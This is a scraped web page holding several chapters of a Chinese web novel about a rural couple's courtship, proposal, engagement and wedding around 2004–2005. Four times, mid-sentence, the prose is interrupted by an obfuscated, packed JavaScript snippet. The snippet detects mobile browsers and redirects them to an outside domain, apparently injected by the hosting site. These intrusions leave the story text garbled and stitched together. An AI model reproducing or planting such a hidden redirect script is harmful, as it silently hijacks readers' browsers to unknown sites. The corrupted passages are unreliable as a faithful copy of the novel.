之前在市里打工，她被李春阳硬拉着去过一次城里的影像厅，里面摆满了花花绿绿的碟片盒子，有看不懂的外国片，更多的是来自香港和台湾的。 而这一次，赵国亮带她去的，就是镇上东北街一条小巷深处。一楼是间烟雾缭绕、键盘声噼啪作响的网吧，然后左侧顺着狭窄的楼梯上去，便藏着另一番天地——一间的影像厅。虽然规模跟李春阳带自己去的那家不可比拟，装修也简陋得多，几张旧沙发，一台大屁股电视连着VCD机，但这在闭塞的乡镇，已经是最新潮的娱乐场所。回村的年轻人和学生们都是这里的常客。 一进门，王秀梅就看到赵国亮直接走向坐在电视机旁的老板，两人笑着拍了拍肩膀，低声交谈起来。从言谈举止间能看出他们很熟悉。老板是个三十岁上下的男人，剃着寸头，眼神透着点江湖气。王秀梅站在门口前面一点，离他们有一段距离，但能感觉到老板的目光时不时越过赵国亮的肩膀，带着探究和善意的笑意落在自己身上，让她有些局促地低下了头。 没过一会儿，赵国亮穿过人群快步走向王秀梅，眼睛亮晶晶的：“走，带你看个好片子！” 随后，只见老板从周星驰的碟片中选了一部片子拿出来，蹩脚地用川式粤语模仿广东人说话：“阿亮阿，这部绝对正点！周星驰的《食神》，保证笑到你肚子痛啦！” “行行行！城哥推荐的准没错！”赵国亮爽快地应着，拉着王秀梅挤到一张双人沙发坐下。 赵国亮和张城是老相识了，当初他在县城读高中时，张城就在那边的影像厅混，后来机缘巧合下得知两人是同乡，一个在镇上，一个在白云村，关系便近了一层。张城比赵国亮大十岁，早年跑去广州闯荡过几年，回县城瞎晃悠了几年，后面又回了老家就开了这家店。由于他见多识广，又没什么架子，跟年轻人很玩得来，生意一直挺不错。 《食神》是一部老片了，星爷的无厘头风格赵国亮很熟悉，但这片子他确实没看过。王秀梅更是没看过。虽然两人都是初次看，尽管屏幕上的笑料百出，但在此刻都成了模糊的背景音。 两人的心思，像两只不安分的小鸟，早已飞离了喧闹的影像厅。 直到一个场景出现——周星驰饰演的史蒂芬·周，透过摩托车的后视镜，瞥见了穿着校服、清纯可人的钟丽缇。那一刻，背景音乐悠悠响起，正是这首《初恋》。温柔婉转的旋律，带着一丝淡淡的怅惘和甜蜜的悸动，瞬间攫住了王秀梅的心。她不由自主地坐直了身体，眼睛一眨不眨地盯着屏幕。 电影里，钟丽缇饰演的角色舔着雪糕，俏皮地说：“嗨，这么凑巧，bye-bye。” 王秀梅被那氛围感染，忍不住转过头，学着电影里的台词，用生涩的粤语对赵国亮笑道：“嗨，这么凑巧，bye-bye~” 说完，还俏皮可爱地耸了耸肩。 看着她灿烂的笑容，赵国亮的心像被羽毛轻轻搔过。他也立刻学着男主角的台词回应：“这么凑巧，ye？这么凑齐？......” 他的粤语明显比王秀梅流利许多，带着一种自然的腔调。 昏暗中，王秀梅望着眼前这个大男孩。屏幕的光影在他轮廓分明的侧脸上跳跃，他的眼神透露着明亮的笑意，正专注地回望着她。 两人视线在空中无声地交缠、拉近。空气中仿佛弥漫着看不见的粉红泡泡，将他们温柔地包裹。 赵国亮的右手，在两人身体之间的狭小空隙里，悄悄挪动。他的右手食指，带着一丝微不可察的颤抖和试探，极其轻柔地，触碰了一下王秀梅搁在腿边的左手小拇指。 王秀梅像是被微弱的电流击中，指尖猛地一缩！心脏瞬间提到了嗓子眼。 但这份退缩只持续了短短一瞬。一种前所未有的勇气，伴随着那首《初恋》的旋律，在她心底升腾。她深吸一口气，勇敢地将刚刚缩回的小拇指，重新伸了出去，主动地、轻轻地勾住了赵国亮那根带着薄茧的手指。 这个小小的、带着怯意却又无比坚定的回应，如同点燃引线的火花。赵国亮的手立刻反客为主，宽大温热的手掌瞬间包裹住她微凉的小手，坚定地与她十指相扣。 掌心相贴，指尖交缠。一股滚烫的热流从交握的手心直冲头顶，淹没了两人所有的感官。屏幕上周星驰还在奋力炒着黯然销魂饭，但后面的剧情是什么？他们也不清楚，似乎也不太关心了。整个世界仿佛只剩下掌心传来的、对方激烈的心跳，和那首循环在心底的《初恋》。 电影结束后，两人的手也没有松开。 赵国亮拉着王秀梅站起身，走到碟片区。他兴致勃勃地指着那些印着港星封面的碟片，一一介绍：“这个是刘德华的《天若有情》，他在里面真的巨帅！这个是张国荣的《倩女幽魂》，王祖贤在里面美得爆炸！还有这个，黎明！我偶像！下次带你来看他的《甜蜜蜜》或者《堕落天使》……” 他的声音带着雀跃，仿佛要将自己珍藏的整个港片世界都分享给她。 王秀梅安静地听着，感受着他掌心的温度，心中充盈着一种前所未有的感觉。她想，她应该永远都不会忘记这一天了。 在这一天，一个叫赵国亮的男孩带她看了周星驰的电影，两个人互相学着电影里的台词，然后他在《初恋》的旋律中牵起了她的手。 在二十多年后的某个下午，当天她正忙着店里的事情，偶然的听到商场传来这首歌，她仍会记起这个狭小影像厅里的瞬间，想到她曾经悸动的心和纯真的爱恋。 不只王秀梅，其实对于赵国亮，这同样是他生命里刻骨铭心的初恋。在往后漫长而坎坷的岁月里，他无数次在梦中重回这个场景。那时的两人都是如此的真挚与幸福。只是自己醒来后，才意识到自己泪水已经滑落。 那泪水里混杂着什么？是不甘命运的无情嘲弄？是痛悔自己的迷失与过错？还是对那份永远逝去的纯真时光的无尽怀念？或许只有真正失去过的人，才懂得曾经拥有的平凡幸福，是何等珍贵，何等奢侈。 但在那一天，那一刻，赵国亮是意气风发的，是全世界最幸福的人。他紧紧牵着心爱女孩的手，穿过店里的人群，走向老板。他不需要说话，脸上那几乎要溢出来的灿烂笑容和紧紧相扣的双手，已经向张城宣告了他的爱恋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788770|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “哟呵！可以啊，阿亮！不介绍介绍弟妹？”张城看着他们紧扣的手，揶揄地吹了声口哨，语气里带着过来人的调侃和一丝不易察觉的羡慕，就一部电影便把那么漂亮的妹子追到手，速度之快简直都得让他叫一声前辈。 “城哥，这是秀梅。”赵国亮没有否认那个亲昵的称呼“弟妹”，反而骄傲地举起两人紧扣的手晃了晃，表示这是他的女朋友。 对了！这时他才猛地想起——自己好像还没正式告白！ “城哥，你好，我叫王秀梅，叫我秀梅就好了。”王秀梅乖巧地打招呼，脸颊绯红，随即害羞地把头转向赵国亮，一双水汪汪的眼睛含着羞涩又甜蜜的笑意，盈盈地望着他。 看着王秀梅依赖又害羞的模样，赵国亮心软得一塌糊涂。算了，今天才第一天，以后有的是时间慢慢熟悉。他转向张城：“城哥，天不早了，我得送秀梅回家了，下次再带她来玩。” 张城看着小情侣眉目传情，含情脉脉，想到自己三十岁的人了还是单身狗，赶紧让人走：“行行行，赶紧走吧！天快黑了，下次记得带秀梅妹妹来玩。” 走出影像厅，冬夜的寒气扑面而来。赵国亮立刻把两人紧握的手揣进自己厚实的外套口袋里，用自己的体温温暖着她。两人沿着王秀梅的村子方向走去，原本王秀梅独自走需要一个小时的路程，两人依偎着，走走停停，说说笑笑，硬是走了两个多小时才到村口。 此时的天，已经黑得差不多了。 两人站在王秀梅家门外那条熟悉的小路边，四周寂静，只有寒风掠过枯枝的细微声响。 赵国亮停下脚步，转身面对王秀梅。尽管两人的关系早已心照不宣，但他依然觉得，有些话必须郑重地说出口。他深吸了一口冰冷的空气，声音在寂静的夜里显得格外清晰、沉稳，却又带着一丝不易察觉的紧张： “王秀梅，你能做我女朋友吗？” 没有影像厅里试探触碰时的忐忑，这句告白他问得坚定有力。但黑暗中，他依然能感觉到自己的心跳，心理还是没有十足的把握。 短暂的沉默，仿佛被夜色拉长。 现在乡下公路还没有路灯，各家的灯火没有闪耀，四周大多都是黑的，只有镇上的远远的灯光亮着，还有附近少许人家的光透过窗户，赵国亮在昏暗中看着女孩的脸，等待着她的开口。 心跳一下接着一下。 突然，一声带着笑意的、如同清泉般的声音打破了宁静，也瞬间抚平了他所有的不安： “难道，我刚刚不是已经答应了吗？” 王秀梅的声音里满是俏皮和甜蜜。 话音刚落下，一股力量将她猛地拉向一个温暖坚实的胸膛！赵国亮张开双臂，将她紧紧地、紧紧地拥入怀中。他温热的呼吸拂过她的耳廓，低沉而好听的声音带着询问： “你说，好的。” 他需要肯定的，直白的确认。 “好的。王秀梅，现在是赵国亮的女朋友了。” 一声无比的认真，清晰的答案让他的手更用力地拥抱怀里的人。 此刻，赵国亮正躺在床上。 他忘了王秀梅是如何从家里拿出那个老旧的手电筒，忘了那束昏黄的光如何在崎岖的夜路上跳跃，更忘了自己是如何飘着一般走回白云村的家。第一次爱恋，像一坛猝不及防开封的烈酒，浓烈、醇香，带着令人眩晕的魔力，彻底冲昏了他的头脑。他倒在床上，闭上眼，嘴角的笑意却怎么也压不下去。 明天。 光是想到这个词，心口就涌起一阵滚烫的期待。 24. 求婚 沉浸在爱河中的日子，仿佛指间流沙，倏忽间，一年时间就已经过去了。 这一年里，王秀梅仍然在市里的商场服装专柜做售货员，赵国亮则是在镇上开店。两人维系着“异地”的状态，赵国亮每次去市里进货，都会特意多呆上个一两天。起初的热恋期，两人像所有城里的小情侣一样，打卡各种“时髦”项目：拍挤眉弄眼的情侣大头贴，在烟雾喧闹的影像厅里依偎着看港片，约上吴孟霖和李春阳在KTV包间里嘶吼跑调，去网吧联机打游戏，手牵手逛夜市，尝遍街头巷尾的小吃摊…… 那些日子，充满了新鲜和纯粹的快乐。 平时两人都异地，靠着空闲时打电话以解相思之情。每次见面时，两人如漆似胶，尽可能多呆在一起。然而，大半年过去后，心思细腻的王秀梅渐渐清醒，她意识到不能这样，于是便没有沉溺于玩耍中。 因为她知道赵国亮还得干正事，得把店开下去，镇上另外一条街道已经开始有同类型的服装店了，竞争也比较激烈。 于是，她开始“管”着赵国亮。 当他再想拉着她去玩时，王秀梅总会温柔而坚定地婉拒：“别闹，正事要紧。” 反过来，她常常拉着赵国亮一头扎进市里的大商场，仔细研究人家品牌专柜的灯光、衣架摆放和橱窗设计；跑到那些藏在犄角旮旯但生意火爆的小店或摊位，观察老板们如何吆喝、如何留住顾客的；更频繁地去批发市场里，在一堆花花绿绿的衣服里淘出款式最新、质量最好的货品。 这样的日子，王秀梅也心满意足，这样又不会让赵国亮耽误正事，还能两人呆一块儿，只要跟他在一起就是开心的。两人一起摸索着小本生意的经营，有一种共同奋斗的踏实感，倒也乐在其中。 “你现在可越来越有老板娘的范儿了。”李春阳看着自己的小姐妹为了男人的事业忙前忙后，事无巨细地操心，忍不住打趣道。 王秀梅没有想那么多，但听到“老板娘”一词，小小地反驳李春阳一下：“瞎说什么呢！” 她只是想着帮赵国亮的帮忙，减轻他的负担，这样两人还能呆在一起。不过，老板娘？这个称呼……她好像也并不排斥。 日子在忙碌与甜蜜中飞逝。转眼，马上要迎来2004年的除夕夜，新年的钟声即将敲响。 赵家的团年饭和往年一样，吃完团年饭，大家各自玩各自的。赵智民和李波几个发小早就约好去河边放鞭炮；赵小英则和小姐妹杨敏兴高采烈地去镇上“赶热闹”；赵兴强则是揣着烟，直奔老牌友家；杨红翠也乐呵呵地去了隔壁李家串门唠嗑，看春晚。 唯独赵国亮，今晚与往年不同。今天他打算做一件大事情。 几天前，他就托跑班车的李超从县城捎回了一大箱烟花。此刻，吴孟霖和几个玩得好的兄弟，正按他事先的布置，在约定的地点紧张地准备着。 他要给王秀梅一个前所未有的惊喜。 两人约好在村口桥头河对面相见，那儿有一颗大槐树，槐树背后还有一间低矮的破败旧房子，不知道从何时起，里面就住进了一尊菩萨，路过的迷信老人有事没事就抽空就去那上几柱香，人传人现象，现在已经成了村里的“拜神地”，求什么的都有，比如求姻缘、求平安、求学业，或是求财运。 从不信佛的赵国亮还是把约会地点选在了这里。 他拉着王秀梅手，在桥头那附近转悠一会儿。王秀梅兴致勃勃地说着家里的事，聊着赵国亮送给她的新衣服，她爸妈和弟弟都很喜欢。赵国亮一边应和着她，一边频频看了手表，心早已飞到了河对岸。 还有几分钟，时间快到了！ 王秀梅看他眼神不对，立刻察觉到了他的心不在焉。她停下脚步，故意板起脸，带着点小委屈：“你是不是……约了朋友去跨年？跟我在一起，难得不开心了？” 看到女朋友的误解，赵国亮心里叫苦不迭，又不能剧透。不过哄女朋友嘛，这可是他的“强项”。他赶紧上前一步，将王秀梅轻轻拥入怀中，下巴蹭着她的发顶，甜言蜜语跟不要钱似的往外倒：“你瞎想什么呢？跟你在一起，每一分每一秒我都开心得要命！只是……只是有点冷嘛，想抱抱你暖和一下。” 他一边安抚着怀里的人儿，一边在心里疯狂祈祷：兄弟们，关键时刻千万别掉链子啊！ 此刻的桥头附近确实冷清。年轻人都涌向了镇上更开阔的河中心地带，那里是集中放烟花的地方。这里离镇上有一段距离，只有远处零星的鞭炮声传来。 倒计时一分钟。 河对岸很黑，只有桥头一盏昏黄的路灯投下微弱的光晕，根本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788771|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看不清对面的情形。赵国亮的手在厚外套口袋里，紧紧攥着一个天鹅绒小盒子，掌心微微出汗。现在万事俱备，只欠东风！ 倒计时十秒钟！十、九、八、七、六、五、四、三、二、一！ “砰——啪！”“咻——嘭！” 随着远处镇上传来第一波震耳欲聋的欢呼，在河对岸的黑夜中，骤然腾起一束耀眼的火光！紧接着，第二束，第三束……五彩斑斓的烟花争先恐后地冲向墨蓝色的夜空，在最高点轰然绽放！ 绚丽的火树银花，迎来了2005年的美丽时刻。 王秀梅被这突如其来的、近在咫尺的烟花惊呆了，仰着头，微张着嘴，眼中倒映着漫天流彩。 就在这璀璨的烟花下，赵国亮果断地松开了王秀梅，后退一步，在她惊愕的目光中，单膝跪地，动作一气呵成，不愧是独自练习了好几遍的人。他迅速从口袋里掏出那个天鹅绒小盒子，“啪”地一声打开，一枚在烟花光芒下闪烁着微光的金戒指静静地躺在里面。 “秀梅，嫁给我可以吗？” 王秀梅彻底懵了，大脑一片空白。眼前的场景，像极了她和赵国亮在城里影像厅看过的香港爱情片，梦幻得如此不真实。毕竟在这落后的乡村，在她认识的人中，还没有流行“求婚”这种仪式。村里的年轻人，大多是父母之命、媒妁之言，或是彼此看对了眼，便顺理成章地谈婚论嫁、扯证办酒。 哪里会有这样浪漫而郑重的场面？ 巨大的惊喜和感动瞬间淹没了她。她看着眼前这个单膝跪地的男孩，她知道，他是在用心地把城里人那种“时髦”的浪漫带给她，他愿意付出这些仪式让自己拥有一个像城里人一样的求婚。 就在这时，一阵杂乱的脚步声和喧闹声从石桥那头传来，以吴孟霖、李春阳为首的一群年轻人，呼啦啦地跑了过来，都是赵国亮和王秀梅共同的朋友。他们还没跑到跟前，兴奋的喊着： “答应他！答应他！” “亮哥威武！嫁给他！” “嫂子！答应亮哥吧！” 在朋友们热烈的目光和最后几束烟花壮丽的余晖中，王秀梅含着幸福的泪水，点了点头，然后朝着赵国亮伸出了左手。 两人在朋友的祝福和欢呼声中拥抱，迎来了崭新的一年。 25. 定亲 2005年，正月初五，年味还未散去。 赵国亮穿着一身崭新的休闲西装，带着家人，提着精心准备的礼物——腊肉、好烟、好酒、茶叶、水果等，踏上了前往王坪村的路。 王秀梅家也早已打扫得干干净净。王大富和张红英穿着最好的衣服，脸上堆满了笑容，准备好了饭菜。王秀梅也穿上新衣服帮着妈妈在厨房忙碌着，只有秀山在一旁悠然自得。 王秀梅谈恋爱这两年，经常带着赵国亮去找过经常在外打架的王秀山。因此，他对赵国亮“熟悉”得很，一看赵国亮的眼神就没从他姐身上下来过，他就知道这“姐夫”跑不了。 饭桌上，两家人气氛和乐融融。王大富和赵兴强推杯换盏，谈论着今年的收成和镇上的变化。杨红翠和张红英则拉着家常，不时夸赞对方的孩子懂事。赵小英、赵智民和王秀山三个人则在一旁忙着干饭。 赵国亮这一年来在王家下的功夫，此刻都化作了无形的加分项。他经常帮王大富老两口在集市上卖过菜，会骑摩托车送过他们回家，给秀山送衣服，玩游戏，给零花钱，礼数周全，态度诚恳。王家人对这个未来女婿，是打心眼里满意。 就这样，在这顿和气满满的吃饭中，两家人完成定亲礼仪。赵家也是给了当时村里较大的彩礼，一万二。这个彩礼在2005年的清泉乡是一个非常高的金额，给足了诚意。 因此，王家对这门亲事很满意，无论是赵家家境、赵家父母，还是赵国亮的相貌、为人处事，没有任何挑剔之处。 为什么选择在初五这一天定亲了？ 因为在这一天，王秀梅满十八岁了，她成年了。 对于此时的王秀梅来说，十八岁结婚，在清泉乡是再寻常不过的事情。她和村里的许多女孩一样，完成了九年义务教育，能考上高中继续读书的凤毛麟角。大多数村里女孩的出路无非两条：要么听从父母安排相亲、早早结婚生子；要么背上行囊外出打工，但在外打工的人往往在外面漂泊几年后，最终还是会回到老家，完成嫁人生子的轨迹。 选择这样的路对王秀梅是常见的。而且，她比村里许多女孩幸运得多——她的婚姻，是自己做主的，是自己的选择，没有父母的强加干涉，嫁的更是自己真心喜欢的人。这足以让同龄的姐妹羡慕不已。 唯一的小小波澜，来自她在市里商场的领导杨丽。当她得知王秀梅要辞职结婚，杨丽专门找她谈了一次话。杨丽非常欣赏王秀梅，认为王秀梅不仅有姣好的外貌，更难能可贵的是她的销售技巧和真诚待人的品质。在商场短短一年半的时间，王秀梅就赢得了很多顾客的信任和同事的认可，如果她不辞职结婚。杨丽正准备重点培养她，甚至考虑两年后提拔她做店长。 “秀梅，你确定现在就结婚吗？” “你真的要辞职吗？” “你不再认真考虑考虑？” “你还那么年轻，才十八岁！你再上班两年，积累一些经验，工作会有更好的发展，眼界在拓宽一些，人生也许会不一样。” ......< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对于婚姻，每个人都有自己的理解，众说纷纭。有人在婚前认定要嫁一个“对你好”的人，婚后却发现，对方本身“是好人”才更靠谱。但也有人觉得，即便对方是好人，婚姻中遇到的变数也太多了，情况太复杂：经济问题、孩子问题、婆媳家人问题、性问题……桩桩件件，没有人敢打包票说能完全掌控婚姻的航向。 以上这些思考，都是随着社会发展，人们开始更多关注自我意识才逐渐引发的。 然而在多年以前，尤其是在落后的农村地区，婚姻的定义可能简单得多——就是找个人搭伙过日子，然后生儿育女，一辈子也就这样过去了。与此同时，农村里的婚姻又极其复杂，因为它关乎家族的脸面、声誉，结婚有各种繁琐的礼节，需要宴请全村，风光大办。一旦离婚，夫妻两人甚至两个家庭，往往成为十里八乡茶余饭后的长久谈资，离婚要承受着极其高昂的“社会成本”。 清泉乡的这些老人们，大多在大山里土生土长，一辈子没走出去过。但时代终究在变，年轻人去城里闯荡，去沿海发达地区打工，或网上冲浪，看到了新鲜事物，接受了新式思想。当他们回村，也带回了不一样的认知。人们开始在懵懂中摸索自我的人性需求，探寻婚姻的意义，于是，“离婚”这个曾经讳莫如深的概念，也开始在闭塞的乡村里悄然蔓延。 这些对即将迈入婚姻的赵国亮和王秀梅而言都是虚无缥缈，此时他们没有精力去思考那些大道理，他们是不再是老一辈传统的结婚生子，接受了千禧年后新时代文化的冲击，婚姻是爱情后的结局，也认为都会一直幸福下去。 这些宏大的婚姻探讨，对即将结婚的赵国亮和王秀梅而言，都显得虚无缥缈。此刻的他们，没有精力去深究那些大道理。他们觉得自己不再像老一辈那样，将婚姻简单地等同于“传宗接代”，自以为自己接受了在千禧年后新时代文化，坚信婚姻是爱情的必然归宿，也笃信这份幸福会一直延续下去。 婚姻制度也许是在变化，但人性确始终如一。 2005年的初春，赵国亮和王秀梅两人举办了婚礼。 这场婚礼和村里以往举办的一样，都是赵家老两口邀请亲朋好友，村里的乡亲们前来帮忙。在婚礼前一天就开始安炉子，杀猪、杀鸡、杀鸭、杀鱼等，各种食材堆满临时搭起的案板，忙活一天，村里的乡亲们就吃个简单的饭菜。第二天才是正式的婚礼，村上有专门负责记帐的德高望重的老师傅们，写得一手好字，专门坐在一张长桌子前，登记前来的宾客和礼金；然后请的是当地的能说会道的人来帮忙主持婚礼，让新人的朋友们在一旁起哄、笑闹，充当氛围嘉宾。晚饭后，便是村里人最喜欢的活动——组局打牌，喝酒聊天，往往要闹腾到深夜。 但，这场婚礼和村里又有些许不同。 最显眼的，莫过于两位新人的颜值，成了村里人津津乐道的美谈。 “赵家的大儿子娶了个老漂亮的女孩，真的是会挑得嘞！” “赵家的大儿子也是长得相当不错得嘞！好多妹妹们都想嫁给他，街上卖粉的张姐不就是跟赵家老两口提了好几次嘛，不过没看上人家闺女。“ “这两人般配得嘞！郎才女貌，两人的娃不知道得多好看。” 其次，赵国亮家成了村里第一个请了专业摄影师记录婚礼全程的人家。赵国亮专门跑了一趟县城，请来了婚庆公司的摄影师傅，架着那台村里人罕见的DV摄像机，穿梭在人群里，拍下每一个热闹的瞬间。这在当时的清泉乡，可是非常时髦的。自打这以后，村里但凡条件稍好点的人家办喜事，也都学着去请摄影师了。 由于村里的小孩和老人们很少见到这种新鲜玩意儿，他们纷纷跟摄影老师互动。摄影老师录上了：没有抢到红包就坐在地上哭闹打滚的小孩儿；酒席上，一盘白灼大虾刚端上桌，全桌人便一拥而上，瞬间光盘；老年人围坐在炭火盆边，烤着火，嗑着瓜子和花生，东家长西家短地闲聊；帮忙的乡亲们，切菜的刀工麻利，炒菜的锅铲翻飞，端菜的健步如飞，洗碗的流水作业，井然有序却又热气腾腾；饭后，一桌又一桌的人围着打牌打麻将，有闲玩的，也就是不赌钱，也有赌钱的。不过这两种休闲娱乐很好区分，闲玩的都是年纪较大的老人，其中有女性，而赌钱的基本都是男人，年龄不限，有年轻的男人，中年的男人，还有老年的男人。另外还有一大特征就是：很多人围观，如果一桌子旁围观的人越多，说明这桌人赌得越大，越刺激。 以往的牌桌上是有赵兴强的身影的，他也是个老熟人。但今天的他有太多事情处理了，要和村上管事的人交代事项，要接待亲友，尤其昨晚杨红翠的话在耳旁萦绕了一晚上。 “赵兴强，明天的事情特别多，聂三儿那边管事的要找你，你得随时出现，不能给我在牌桌上呆着。另外，我爸妈过来你还得陪着，你平时爱打牌我也就不管了，但是明天你要是在牌桌上，你自己想想人家怎么看我们。这可是咱儿子的大事，你千万不能给我出漏子，不然我给你拼命！” 所以，摄影师的镜头里，同样捕捉到的了赵兴强和杨红翠这对老夫妻忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788773|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碌得近乎焦头烂额的身影，他们出现在婚礼现场的每一个关键角落：迎客、安排座位、协调上菜、敬酒、送客…… 在另一边，新房小屋里，赵小英和她的好朋友杨敏缩在角落里，偷偷打量着光彩照人的新嫂子王秀梅。 “天呐，你嫂子也太好看了吧？跟海报上的明星似的！”杨敏小声惊叹，语气里满是羡慕。 赵小英没说话，只是用力地点点头，手指无意识地摩挲着自己身上崭新的红棉衣。这是年前二哥赵智民从广州给她带回来的新年礼物。大哥赵国亮结婚前也带她去店里挑过衣服，满墙花花绿绿，她却总觉得不如二哥选的这件好看。今天，她特意穿上了这件最珍惜的红棉袄。 可此刻，看着端坐在新床上、被众人簇拥着的王秀梅，赵小英第一次觉得自己像个丑小鸭。嫂子的脸上画着她只在电视里见过的时髦妆容，嘴唇红得像熟透的樱桃，头发盘得精巧别致，还点缀着亮晶晶的小发饰，整个人都在发光。旁边她的朋友们也都穿得光鲜亮丽，但人群中最耀眼、最能吸引所有人目光的，依然是她。赵小英心里突然有点释然，又有点酸涩：显然这不是衣服的问题，而是人的问题。秀梅嫂子，天生就是个美人胚子，又高挑，皮肤又白，当然穿什么都好看。 现在的她和这个新嫂子还不算特别亲近，但感觉她人还是特别好。之前来家里，还偷偷给自己塞过从城里带来的、包装精美的巧克力，还有那种闪闪亮的蝴蝶结发夹，特别漂亮。这些东西，大哥赵国亮从来没给自己买过。而且，王秀梅只比二哥赵智民大几个月，比自己也就大三岁，没有和大哥之间那样的年龄差而带来的隔阂感。所以，赵小英对这位新嫂子，天然就带着几分亲近和好感。 “新郎官来喽！要给红包才能进门！红包不够大，门儿都没有！”门外突然传来一阵喧闹，是王秀梅的好朋友李春阳她们，嘻嘻哈哈地把新房的门堵得严严实实。 “开门开门！红包来了！”门外是赵国亮的声音，带着笑意和急切。 一个又一个红包从门缝底下塞进来。女生们捡起来，打开看看，笑着摇头：“不够不够！诚意不足！现在还打不开！” “再不开门，我们可把新郎官拐跑啦！”门外的人有些着急了，一个促狭的声音响起，“今晚咱们兄弟伙一醉方休，喝个通宵！让新娘子独守空房去咯！” 李超的话一出，房外房内的人都大笑出来，随后给开了门。只留下还不太懂话里音的赵小英和杨敏在那傻站着，不知道她们在笑什么。 原本新郎接亲是在女方那边，堵房要红包也是在女方家里，但是在男方这里都是年轻人，都是两位新人的朋友，大家就是闹洞房，闹了几句后大家也就识大体的散了。随后赵国亮便拉着王秀梅出去跟朋友们一起喝酒聊天。 27. 婚礼（2） 赵小英虽然也上初三了，但在这群已经踏入社会的年轻人中间，仍然就是小孩儿，显得格格不入，插不上话。她只好在外面的亲友桌，找了个位置坐下，同桌的还有爸妈、二哥赵智民和一些年龄稍长的亲戚。 其实，赵小英最讨厌和这些三姑六婆坐一起，因为她们的话题永远围绕着东家长西家短，说着说着就容易变成刻薄的议论。果然，没聊几句，一个远房的伯娘就把话头扯到了她身上。 “红翠啊，你家小英快十五了吧？这日子快得很，再过两年也该说婆家喽。”伯娘磕着瓜子，嗓门不小，接着说着正题，“我表叔那边认识一家人，干装修的，那小伙子我见过，长得挺精神，个头跟你家亮娃差不多，高高大大的。” 旁边另一个婶子插嘴：“你说的是李申高家那小子？” “对对对！就是他儿子，叫李志。现在在江苏那边打工，据说跟着工程队干，挺能挣钱的。”伯娘连连点头。 “哎呀，李志啊……”那婶子一听到是这家人，赶紧撇了撇嘴，“小伙子是不错，可他家在阳平山上头呢！那地方，啧啧，大山沟沟，路难走得很。高山上的人家，野蛮子多得很，规矩少，怕是不好相处。” 赵小英听着她们你一言我一语，像谈论一件待价而沽的商品一样议论着自己，只觉得尴尬无措，坐立难安。但这些都是长辈，她既没有勇气反驳，也没有勇气起身就走，只能僵硬地低着头，手指紧紧攥着衣角。 “阳平山上的人家啊？”杨红翠一听是高山上的人家，眉头立刻皱了起来，赶紧截住话头，“那…那还是算了。小英这还念着书呢，初中都没毕业，太小了！先读书要紧，嫁人的事不急。”她虽然也觉得女儿读书未必有出息，但更不愿意女儿嫁到那种苦地方。 赵小英看着妈妈杨红翠打断了这场议亲，心里终于舒坦了一会儿。她此时倒是舒坦了，但是旁边的赵智民心里却不开心了，或者说他从一开始就不开心。 不过，赵小英的舒坦也只持续了那么短暂的一小会儿，因为另一个更刻薄的声音响了起来，是坐在对面的姑婆。 “红翠啊，话不是这么说。”姑婆慢悠悠地呷了口茶，“我前几天碰见小英她们班主任王老师，王老师可说了，你们小英这成绩啊，考上高中悬得很！女孩子家，读那么多书有什么用？到头来还不是要嫁人？早点找个好人家才是正经归宿！” 她顿了顿，目光在赵小英身上扫了一下，提高了声调，“高山上的人家怎么了？你以为小英跟秀梅一样，天生一副好模样，还能挑挑拣拣？现在不趁着年纪小挑个条件差不多的，等过两年成了老姑娘，哪个还要？到时候想找高山上的，人家还未必看得上呢！” 这赤裸裸的贬损和势利眼的话，像一盆冰水兜头浇下。赵兴强、杨红翠、赵智民的脸色瞬间都变了，各自陷入不同的沉思。 赵小英看不清父母的脸上具体是什么表情，但这一刻，屈辱、愤怒、委屈瞬间表现在脸上。成绩不好是她脑子笨，长得普通个子不高是爹妈给的，这难道是她的错吗？她就活该坐在这里，被这些所谓的亲人像卖菜一样评头论足、肆意拉踩？ 她的人生，难道就只有“嫁人”这一条路可走？ 赵小英慢慢抬起头，恶狠狠地瞪着那个一脸刻薄相的姑婆，十五岁的少女还学不会隐藏自己的情绪，所有的愤怒和受伤都明明白白写在脸上。 